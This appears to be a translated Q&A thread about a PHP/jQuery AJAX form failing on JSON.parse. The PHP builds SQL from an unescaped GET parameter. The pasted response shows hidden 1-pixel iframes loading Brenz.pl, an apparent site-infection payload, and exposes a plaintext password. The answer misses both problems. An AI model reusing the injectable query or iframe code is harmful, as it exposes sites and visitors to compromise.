从选择框ajax方式填充3个文本框


fill 3 text box from select box ajax way

嗨,我是php和ajax的新手。我有一个选择框,当用户选择信息时,必须填写到四个文本框中。有人建议使用jQuery我的第一个代码

无论如何,我的php代码是

if(isset($_GET['username']))
{
    $username=$_GET['username'];
    $usr1=new USER;
    $where="username='$username'";
    $a=$usr1->show($where);
    echo json_encode($a);
}

我的表格在这里

 <form id="f1">
    <select id="s1">
    <option selected></option>
    <option value="admin" >admin</option>
    <option value="pooria.hojjati">pooria.hojjati</option>
    </select><br>
    <input type="text" id="name" value=""><br>
    <input type="text" id="family" value=""><br>
    <input type="text" id="email" value=""><br>
    <input type="text" id="pri" value=""><br>
    <!--<input type="button" value="press me" id="btn">-->
    </form>
    <div id="d">
    un replaced
    </div>
    <script language="javascript">
$("#f1 select:#s1").change(function(){
    var a=$("#f1 select:#s1").val();
    $.ajax({
            url:'ajax.php',
            data:{username:a},
            type:'get',
            datatype:'json',
            success:function(res){
            var b=JSON.parse(res);
            $("#f1 input:#name").val(b.name);
            $("#f1 input:#family").val(b.family);
            $("#f1 input:#email").val(b.email);
            $("#f1 input:#pri").val(b.privilege);}
            })

    });
</script>

我有一个错误:SyntaxError:JSON.parse:意外字符

当我提醒响应时,我得到的是:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Untitled Document</title>
</head>

<body>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>user</title>
</head>

<body>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>DB</title>
</head>

<body>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
{"id":"1","name":"'u067e'u0648'u0631'u06cc'u0627","family":"'u062d'u062c'u062a'u06cc 'u0628'u0633'u0637'u0627'u0645'u06cc","username":"pooria.hojjati","password":"12044525","email":"pooria.hojjati@gmail.com","privilege":"1"}</body>
</html>

在jQuery中,选择器$("#f1 select:#s1")的语法不正确。此选择器应为$("#f1 select#s1")。其他选择器也是如此。:foo选择器是jQuery的特殊选择器,如:checked:contains()等。

您是否在php代码中使用了一个框架来创建html布局?尝试绕过它。调用echo json_encode(...)后,再调用exit;。这将立即停止执行并输出缓冲区。